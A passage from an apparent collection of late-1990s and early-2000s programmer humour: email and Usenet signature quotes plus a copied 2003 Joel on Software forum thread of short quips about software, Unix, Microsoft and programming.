not look as good but it's faster and does a more thorough job!" - Funny Luser -- "The best thing about sex is when you put the knife in and the voices stop." - Keith Osbourne Windows 95 Questions: Don't bother asking me. I can only assume it was preloaded on the laptop but I never bothered booting it. Went straight to loading Linux because a computer without Linux is a waste of money. ======================================================================== Peter Wright |Hosting a small odd ball idea page and pwright@mycle.dyn.ml.org |some stories.  Nothing much but they're http//mycle.dyn.ml.org/pwright |there. ------------------------------------------------------------------------ I don't need a heater, I have a pentium 100 and a seagate baracuda drive to keep me warm. ======================================================================== // \\ // \\ // \\ // \\ // \\ ': | \\ // | :,\\': | \\ // | :,\\': | \\ \\ | | \\ // | | // \\ | | \\ // | | // \\ | | \\ | :,\\': | // \\ | :,\\': | // \\ | \\ // \\ // \\ // \\ // \\ -- Derick Siddoway "Microsoft is a cross between the Borg and the Ferengi. Unfortunately, they use Borg to do their marketing and Ferengi to do their programming." -- Simon Slavin in asr On 08-Nov-98 Rob Hamm wrote: >> Social life? What social life? ... What's a life? > that annoying time between when you can hack. I thought that was 'sleep'? (or even 'going to the fridge for more coke'). Rebecca Brooke Gray O- "Scritcher of Dogbert's Ears" We are Microsoft of Borg. You will be assimilated. Resistance is futi GENERAL PROTECTION FAULT in msborg32.dll Tigger: "Relax, plummeting a thousand feet to the rocks below is no different from falling out of bed." ... "Why, shore, hehehe, Except for the splat at the end, they are practically similar." -Pooh's Grand Adventure "Ever wonder why the SAME PEOPLE make up ALL the conspiracy theories?" [Michael K. Johnson ] "Magazines all too frequently lead to books and should be regarded by the prudent as the heavy petting of literature." -- Fran Lebowitz Linux Application Development http://www.redhat.com/~johnsonm/lad/ [Michael K. Johnson ] hugh d fegely wolffe@pophost.com http://wolffe.virtualave.net/ Wednesday, 2 December, 1998 7:49am ------------------------------------------------------------------- Software is like sex: It's better when it's free. - Linus Torvalds -- `The purpose of a windowing system is to put some amusing fluff around your one almighty emacs window.' -- Mark on gnu.emacs.help -Benjamin the Easily Distr-Oooh, look, it's my cat! I know enough about XConfigurator to vi XF86Config by hand :) Jester. * "Win98 is just like a higher quality herion - it's still not good for us." -Capone (Irc) -- Norman De Forest http://www.chebucto.ns.ca/~af380/Profile.html af380@chebucto.ns.ca [=||=] (A Speech Friendly Site) "Emergency medicine: It's like sysadminning, but with better LARTs and more blood." -- Mike Sugimoto in the scary devil monestary "Webmaster" is an interesting title... If you tell a nongeek you're a webmaster, they say "Wow! that's really cool!"... but if you tell a geek you're a webmaster, they say, "Ah man, that's too bad..." ........ I'm only hanging out with nongeeks from now on. -- Brad Murray * Always carry a short length of fibre-optic cable. If Senior Geek * you get lost, then you can drop it on the ground, wait Alcatel Canada * ten minutes, and ask the backhoe operator how to get Perl Geek * back to civilization. (Alan Frame) Heh, yeah. He got there and immediately started prodding my Game Boy Color-- "you know, we could make a massively-parallel cluster of Game Boys and have them crack RC5." -- .-. .-. I don't work for my employer. (_ \ / _) | dave@srce.hr | dave@fly.srk.fer.hr um. thanks. rick listening to: soul miners daughter/the sacred & profane in an attempt to channel the mailman so that i can be listening to: soul miners daughter/hallelujah. A Microsoft Certified Systems Engineer is to computing what a McDonalds Certified Food Specialist is to fine cuisine http://slashdot.org/comments.pl?sid=46924&cid=4819397 -- Azrael ("\''/").___..--'''"-._ `0_ O ) `-. ( ).`-.__.`) (_Y_.)' ._ ) `._ `. ``-..-' _..`--'_..-_/ /--'_.' .' ((i).-'' ((i).' (((.-' Of all God's creatures there is only one that cannot be made the slave of the lash. That one is the cat. If man could be crossed with a cat it would improve man, but it would deteriorate the cat. http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html This was ours..all of this..before they took it and raped it and bastardized it. This was our geekly little hobby and now I'm ashamed of it. I question if it's even worth fighting for. [unicorn, on the subject of new "ultra-intrusive" pop up ads on slashdot at: http://slashdot.org/comments.pl?sid=62583&cid=5846276] -- Americans' greatest fear is that America will turn out to have been a phenomenon, not a civilization. -- Shirley Hazzard, "Transit of Venus" -- Anthony de Boer -- as seen at http://www.leftmind.net/~adb/ -- BOFH, eh? < "MIME might be okay for rec.clowns.silent, but not here." -- Jake Kesinger > -- From goes to /dev/null. Reply to my_firstname at my_lastname dot org "A language like Perl, which is intended, IMHO, for poorly-designed one-offs, should not lower itself to deal with methodologies that encourage forethought." -- Sean McGuire -- "I take the road less travelled. Now, if someone would be so kind as to tell me where the fsck I am?" anonymous exit message spotted in IRC -- Your backups -appear- to work. - asr fortune cookie Q: "Why do sound techs say 'check 1, 2'?" A: "Cause if they could count any higher they'd be lighting techs." After switching to Mozilla, the only pop-ups I get when visiting a porn site are in my pants. %% A copy/paste from http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=53978&ixReplies=21 to be formatted/edited later. -------- start --------- The topic is very short quips about software. Long jokes are out of scope. Subtlety is encouraged, even if it means that only geeks get it. Here are two of my favorites to get us started: -- Remember, only two industries refer to their customers as users. -- There are only 10 kinds of people, those who understand binary, and those who don't. Anybody got any others like these? Eric W. Sink Thursday, June 26, 2003 I've just started reading "Waltzing with Bears" by Tom de Marco & Timothy Lister: "There is probably no job on earth for which an ability to believe six impossible things before breakfast is more of a requirement than software project management." Taka Thursday, June 26, 2003 Here is one I found in someone's USENET sig. It's probably been posted on JOS before, but it's the best one that comes to mind right now: "1,3,7 trimethylxanthine -- an essential ingredient of quality software" mackinac Thursday, June 26, 2003 One more from an usernet. UNIX Sex { look; find; talk; grep; touch; finger; find; flex; unzip; mount; workbone; fsck; yes; gasp; fsck; yes; eject; umount; makeclean; zip; split; done; exit } RM Thursday, June 26, 2003 The Funniest Usenet post ever : Subject: Re: Computing sizeof() during compilation From: Dennis Ritchie Newsgroups: comp.std.c [Submitter's Note: look at the author...] From: Dennis Ritchie Newsgroups: comp.std.c Subject: Re: Computing sizeof() during compilation Organization: Bell Labs, Lucent Technologies > You are right. It was nice back in the days when things like > > #if (sizeof(int) == 8) > > actually worked (on some compilers). Must have been before my time. Dennis braid_ged Thursday, June 26, 2003 "The familiar dot (.) symbol from Internet addresses shall be used on this website to denote the end of a sentence." - I'm not sure where I saw this one. William Gibson: "The future is already here, it just isn't evenly distributed." "When the customer demands the impossible, they will end up buying from the guy who offers them the impossible. And the results, though tragic, are sadly predictable." (Robert A. Heinlien) Darren Collins Thursday, June 26, 2003 Here are some I collected around town, including this forum the last time someone requested blurbs like this. All are copied as they were found: "Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning." (Rich Cook) All models are wrong; Some are useful. For every complex problem, there exists a simple solution, which is wrong. Corollary: It isn't rocket science. Well, unless of course you're NASA. "The last 10% of any software project will take 90% of the budgeted time. The first 90% will take the other 90%" Why did the programmer confuse Christmas and Halloween? Because DEC 25 = OCT 31 On two occasions I have been asked [by members of Parliament], 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question. - Charles Babbage "The most successful method of programming is to begin a program as simply as possible, test it, and then add to the program until it performs the required job." -- The PDP-8/e Small Computer Handbook (DEC, 1972) - Chapter 9, Page 9-64 "A specification that cannot be fit on one 8.5 x 11 inch piece of paper cannot be understood." -- Mark Andis Computers are high-speed idiots, programmed by low-speed idiots The most likely way for the world to be destroyed, most experts agree, is by accident. That's where we come in; we're computer professionals. We cause accidents. -- Nathaniel Borenstein The primary purpose of the DATA statement is to give names to constants; instead of referring to pi as 3.141592653589793 at every appearance, the variable PI can be given that value with a DATA statement and used instead of the longer form of the constant. This also simplifies modifying the program, should the value of pi change. -- FORTRAN manual for Xerox Computers "There are two ways of constructing a software design; one way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult." -- C. A. R. Hoare A complex system that works is invariably found to have evolved from a simple system that worked. (John Gall) Working software is the primary measure of progress. (The Agile Manifesto) In theory there is no difference between theory and practice, but in practice there is. (don't know where this is from) "An unplanned project takes twice as long to complete, a well planned project takes three times as long." Computers let you make more mistakes than any other invention in history....with the possible exception of handguns and tequila. Torture your data long enough and it will confess to anything. -- a statistician acquaintance of mine "Two things have come out of Berkley, Unix and Acid, we do not belive this to be a coincidence" My favorite is "Programming is the process of converting caffeine into error messages" (not sure of the source, seen on Ward's Wiki) Vim: it's like software that's 95% easter eggs Always code as if the person who ends up maintaining your code will be a violent psychopath who knows where you live. If Java had true garbage collection, most programs would delete themselves upon execution. Linux sucks twice as fast and 10 times more reliably, and since you have the source, it's your fault. -Ca1v1n Troy King Thursday, June 26, 2003 "I am Pentium of Borg. Division is futile - you will be approximated". Mitch & Murray (from downtown) Thursday, June 26, 2003 Those who decry spam are cnuts. Tom Thursday, June 26, 2003 "it's working as coded" - my managers sincere attempt to explain a bug in my code to his manager a few years ago. Realist Friday, June 27, 2003 Q: How many people work around here? "About half". Alyosha` Friday, June 27, 2003 "The key to understanding recursion is to begin by understanding recursion. The rest is easy." -- Koenig/Moo, Accelerated C++ "Impossible error occurred" -- Excel 95 error message. (A co-worker had a screen print of this error message box, and every time I saw it I'd crack up thinking the programmer was the "Inconceivable!" guy from The Princess Bride.) Nick Friday, June 27, 2003 All from various sources: Norvigs Law: Any technology that surpasses 50% penetration will never double again (in any number of months). Peter Norvig (in respect to all the projections of massive, infinite, growth in awesome new technology XYZ) Every program has at least one bug and can be shortened by at least one instruction - from which, by induction, one can deduce that every program can be reduced to one instruction which doesn't work. In most Microsoft EULAs, it states you can't give the software to nations or individuals involved in making atomic, bacteriological, or chemical weapons. Do they mean *besides* the US? My boss, for instance, really believes that he is "solving the problems when others don't understand the question." In reality, he is often the problem that must be solved by his subordinates. He would never believe that he is not part of the "engine of change." He's really more like the "wheel chocks of ignorance." Intelligence: Finding an error in a Knuth text. Stupidity: Cashing that $2.56 check you got. Quick, Cheap or Good. Choose Two. It's possible to do that. If you've got a basket with 3 oranges in it and you take 5 out, then you have to put 2 oranges in again in order for it to be empty. Peter Gutmann You think because you understand _one_ you must understand _two_. Because one and one make two. But you must also understand _and_. Sufi Sage Information wants to be beer, or something like that. Put to scale, the head of a disk drive is like a 747 jumbo jet flying at mach 4 at an altitude of 1/4" over the rocky mountains. Any sufficiently complicated C or Fortran program contains an ad hoc informally-specified bug-ridden slow implementation of half of Common Lisp. Greenspuns 10th Rule mainframe n. An obsolete device still used by thousands of obsolete companies serving billions of obsolete customers and making huge obsolete profits for their obsolete shareholders. And this year's run twice as fast as last year's. "The use of COBOL cripples the mind; its teaching should, therefore, be regarded as a criminal offense." - Edsgar Dijkstra OK, I'll stop now :-) Christo Fogelberg Friday, June 27, 2003 'There are no shortcuts in life unless you right-click.' Above pointed by one school girl! Regards, JD JD Friday, June 27, 2003 Q. Why weren't the Romans good C programmers? A. Because they had no way to return zero. John Topley (www.johntopley.com) Friday, June 27, 2003 First, something relevant: Dan: But you're not allowed to compile the classloader without the proper chant, lest your bytecodes be cursed! Ted: And what praytell is the proper chant? Dan: Damned if I know. I just deal with cursed bytecodes. Second, I feel the need to nitpick Troy's post and note that it was Mark Ardis (with an "r") who stated the one-page principal (which apparently appeared in the UNIX fortune file). Mark is also noted for the quote "Okay, I give up. What is the significance of 1729?" and for posting a recipe for French Toast to the net.cooks newsgroup in 1982. Michael Chansky Friday, June 27, 2003 While we're nitpicking, I find it ... inconceivable that anyone could post a version of the "Unix sex" thing that doesn't make use of the "strip" command. :-) Gareth McCaughan Friday, June 27, 2003 Software salesmen and used-car salesmen differ in that the latter know when they are lying. The C language combines all the power of assembly language with all the ease-of-use of assembly language. The determined programmer can write a Assembly program in any language. Computers let you make more mistakes than any other invention in history. With the possible exception of handguns and tequila. Diagnostic message from Apple's MPW C compiler: "Too many errors on one line (make fewer)". Mark Pearce Friday, June 27, 2003 I wrote an 6809 assembler. One instruction is called "SEX" which takes no argument(operand). There should be a warning for the redundant argument. I was tempted to use the following error message: "Sex? No argument!" (Later I decided not to and I got an A+ for the project. ) S.C. Friday, June 27, 2003 Some more: You should use iterative development only on projects that you want to succeed - Martin Fowler Any sufficiently advanced bug is indistinguishable from a feature - Rick Kulawiec Beware of bugs in the above code; I have only proved it correct, not tried it. - Donald Knuth Experience is that marvelous thing that enables you recognize a mistake when you make it again. - F. P. Jones Management dictated that no bugs should ever make it to production. We no longer put code in production. If the quantum view of the world is correct, does it mean that testers create bugs by observing them? If no one had reinvented the wheel, we would still be stuck with those impractical wooden wheels... - Willem van den Ende on the refactoring list There can't be a crisis today, my schedule is already full. You know you're on the right track with code changes when you spend the majority of your time deleting code. It's not about size. It's about smells. - Ron Jeffries If it stinks, change it. - Grandma Beck, discussing child-rearing philosophy If it's less than six pages, I'll read it. If it's more than six inches thick, I can use it as a doorstop. Anything in between is useless. Remember that there is no code faster than no code. - Taligent's Guide to Designing Programs Honey, I just need to debug this program and be home in 5 minutes. How does a project get to be a year late? - One day at a time. -Fred Brooks, The Mythical Man-Month A computer programmer is a device for turning coffee into bugs. - Bram Moolenaar A computer programmer is a device for turning requirements into undocumented features. It runs on cola, pizza and Dilbert cartoons. - Bram Moolenaar Life is like a box of checkins. You never know what you're gonna get. Quality means that the customer keeps coming back, not the product. Shipping is a feature but shipping quality is an even better feature. Bernard Vander Beken Friday, June 27, 2003 I feel obliged to add some Larry Wall quotes here: There's often more than one correct thing. There's often more than one right thing. There's often more than one obvious thing. Unix is like a toll road on which you have to stop every 50 feet to pay another nickel. But hey! You only feel 5 cents poorer each time. We all agree on the necessity of compromise. We just can't agree on when it's necessary to compromise. Optimizations always bust things, because all optimizations are, in the long haul, a form of cheating, and cheaters eventually get caught. I think you'll find that, while we all know what it should have been, we all know it should have been something different from what everybody else thinks it should have been. I do quarrel with logic that says, "Stupid people are associated with X, therefore X is stupid." Stupid people are associated with everything. Chris Winters Friday, June 27, 2003 Windows messagebox: "Abort child? YES NO CANCEL" Ken E Friday, June 27, 2003 Read somewhere on the net: "Unix makes easy things hard and hard things possible. Windows makes easy things easy and hard things $19.95" Devil's Advocate Friday, June 27, 2003 "THIS IS MAD" -- The MAD compiler. As I recall that message only occurred in some error situations where it couldn't figure out what else to say. Other errors could cause it to dump a full page text picture of Alfred E. Newman to the line printer. mackinac Friday, June 27, 2003 "Java's a drug you rub on venture capitalists to make them crazy." -- John Doerr, (JavaOne 1996) "Where choice begins, Paradise ends" -- Arthur Miller (playwright & usability expert?) C programmers know the cost of everything and the value of nothing. / Lisp programmers know the value of everything and the cost of nothing. Symbols are for the symbol-minded. "It's a good idea, but it's a new idea; therefore, I fear it and must reject it." -- Homer Simpson Lots o' chestnuts here -- http://www.bitmover.com/lm/quotes.html sammy Friday, June 27, 2003 Consistency is required in some cases but not in others. tom Friday, June 27, 2003 -------- end --------- -- Eric Olinger (http://evvl.rustedhalo.net/pgp_key.txt) The cure for 1984 is 1776. Only an idiot doesn't go into his e-mail preferences and specify Plain Text instead of HTML. This is such a sane use of resources I believe it was actually mentioned in the Kyoto Accord. (http://developers.slashdot.org/comments.pl?sid=72115&cid=6510602) Jesus saves, the rest of you take 5d20 damage. Using the internet as it was originally intended... for the further research of pornography and pipebombs. (http://slashdot.org/comments.pl?sid=80039&cid=7061935) -- Projected Mars mission = $60 billion. War on Iraq = $86+ billion. Think about it. (http://slashdot.org/comments.pl?sid=89021&cid=7701590) Never ask a geek 'Why'. Just nod your head and slowly back away. -Rob Malda To a Lisp hacker, XML is S-expressions in drag. Real men don't take backups, they just "mv home.tar.gz olsen_twins_hottub.mpg" and share it on KaZaA -- http://yro.slashdot.org/comments.pl?sid=94579&cid=8113382 -- Stop sending me HTML mail. telnet is my POP client, and I am not an HTML/4.0 rendering engine. Not yet, anyway